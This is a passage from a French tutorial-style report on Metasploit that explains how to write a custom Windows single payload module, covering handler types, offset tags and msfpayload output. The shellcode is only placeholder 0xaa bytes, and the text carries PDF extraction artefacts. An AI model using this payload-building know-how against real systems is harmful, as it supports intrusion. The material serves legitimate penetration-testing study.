Ce fichier débute donc par les déclarations standards, à l’in star d’un fichier en langage C, et la place des modules pour les dépendances. On remarque ai nsi que notre module, qui porte le nom Exemple est bien un single payload pour une plateforme Windows.

Cette en-tête, qui va charger les bibliothèques nécessaire s, va nous permettre de gérer simplement la prise en charge de notre payload à proprement p arler et de ses options.

Il ne nous reste plus qu’à déclarer notre payload, ce que nous allons faire dans la section qui suit.

4.2.2 Paramétrisation du payload

On va donc s’attaquer à la configuration de notre payload, pou r cela, ce qui nous intéresse ici est la deuxième partie du fichier, à savoir :

super(merge_info(info,

’Name’

=> ’test d ajout de payload’,

’Version’

=> ’$Revision: 5365 $’,

’Description’

=> ’Exemple de comment ajouter un single payload’,

’Author’

=> ’abr’,

’License’

=> MSF_LICENSE,

’Platform’

=> ’win’,

’Arch’

=> ARCH_X86,

’Handler’

=> Msf::Handler::BindTcp,

’Session’

=> Msf::Sessions::CommandShell,

’Payload’

=>

{

’Offsets’ =>

{

’LPORT’

=> [ 0, ’n’

],

’LHOST’

=> [ 15, ’ADDR’ ],

’EXITFUNC’ => [ 30, ’V’

],

}, ’Payload’ => "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa" + "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa" + "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"

}

)) end end end end end end

Cette partie du payload est le bloc d’initialisation standa rd. Il comprend le nom tel qu’il s’affichera dans l’interface au moment de l’utilisatio n, la version qui sert lors de la mise à jour de Metasploit via un serveur svn, une brève desc ription du payload , du concepteur et de la license et enfin l’OS sur lequel le payload s’applique et dans quel type d’architecture il est codé.

Le handler sert à définir quel type de connexion l’attaquant se sert, il e n plusieurs type :

– Bind TCP : connexion crée par l’attaquant.

– Reverse TCP : connexion crée par la cible.

– Find port

21

– Find Tag

– None

Le session sert pour dire quelle librairie sera chargée lors de l’explo it : soit CommandShell, ou Meterpreter.

’Payload’

=>

{

’Offsets’ =>

{

 

’LPORT’

=> [ 0, ’n’

],

’LHOST’

=> [ 15, ’ADDR’ ],

’EXITFUNC’ => [ 30, ’V’

],

},

On a ici les offets tags, dont il faut souligner l’importance : ces tags pemettent à l’auteur des changer les variables à l’intérieur du shellco de. Dans l’exemple ci-dessus on voit que le shellcode est remplis de 0xaa, et ce pour démontrer cette fonctionnalité. Si on lance msfpayload en configurant le LHOST par exemple, l’addresse débutant à l’octect 15 sera remplacée par l’addresse en hexadécimal que l’on aur a mise dans LHOST. Si on ne configue pas les champs LPORT et EXITFUNC, les addresses débutants aux octects 0 et 30 seront remplies avec les valeurs par défault.

’Payload’ => "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa" + "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa" + "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"

}

)) end end end end end end

Une fois que l’on obtient une fois ce payload mis en place et qu and on utilise msfpay- load :

windows/exemple

Exemple de comment ajouter un single payload

Ce payload debute par les déclarations standards et la place des modules pour les dépendance. Le nom du module est Exemple. Après le nom du modu le, on déclare les Windows et single-stages shellcode que l’on pourras utilis er. Puis vient le bloc d’intiali- sation standard.

# msfpayload windows/exemple LHOST=10.0.0.1 C /*

* windows/exemple - 39 bytes

* http://www.metasploit.com

* EXITFUNC=seh, LPORT=4444

*/ unsigned char buf[] =

"\x11\x5c\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"

"\x0a\x00\x00\x01\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"

"\xf0\x8a\x04\x5f\xaa\xaa\xaa\xaa\xaa";

On voit alors, comme annoncé, que les deux premiers octects o nt comme valeur 0x115c ce qui vaut 4444, et que l’addresse qui commence à l’octet 15 e st remplacée par 0x0a 0x00 0x00 0x01, ce qui signifie 10.0.0.1.

22

Chapitre 5

Conclusion

Ce document touche désormais à sa fin. Nous espérons, au trave rs de ces quelques pages, avoir réussi à vous intéressez à cet outil qu’est Metasploit .

Les notions entrevues lors des différents exemples de ce rapp ort

– Lancement d’un exploit

– Dissection d’un exploit

– Création d’un module Vous permettrons de vous attaquer à des sujets bien plus c omplexes dans le domaine des exploits et des payloads.

Si l’aventure vous tente, sachez que vous pourrez trouver su r internet une véritable bibliothèque des publications concernant Metasploit ou le monde des exploits. Nous mettons à votre disposition une liste non exhaustive des liv res, articles ou sites web dans la partie bibliographie de ce rapport. Celle-ci est supposé e représentative mais rien nous vous oblige à vous y restreindre.

Nous tenons aussi à rappeler que Metasploit a été créé avant tout pour tester la résistance des systèmes face aux tentatives d’intrusions. Il est donc interdit d’utiliser Metasploit à des fins malveillantes, mais comme dirai l’autr e : "Il est interdit d’interdire".

23

Bibliographie

[1] D. Maynor and KK Mookhey. Metasploit Toolkit for Penetration Testing, Exploit Development, and Vulnerability Research . Syngress Press, 2007.

[2] Staff Metasploit. Metasploit 3.0 Developer’s Guide. http://www.metasploit.com/ documents/developers_guide.pdf.

[3] Pukhraj Singh and K.K. Mookhey.

Metasploit Framework.

https://www.

securinfos.info/jerome/DOC/Metasploit1_FR.pdf.

[4] Staff. Site officiel de Metasploit. http://www.metasploit.com.

[5] Staff. Blog officiel de Metasploit. http://blog.metasploit.com/.

24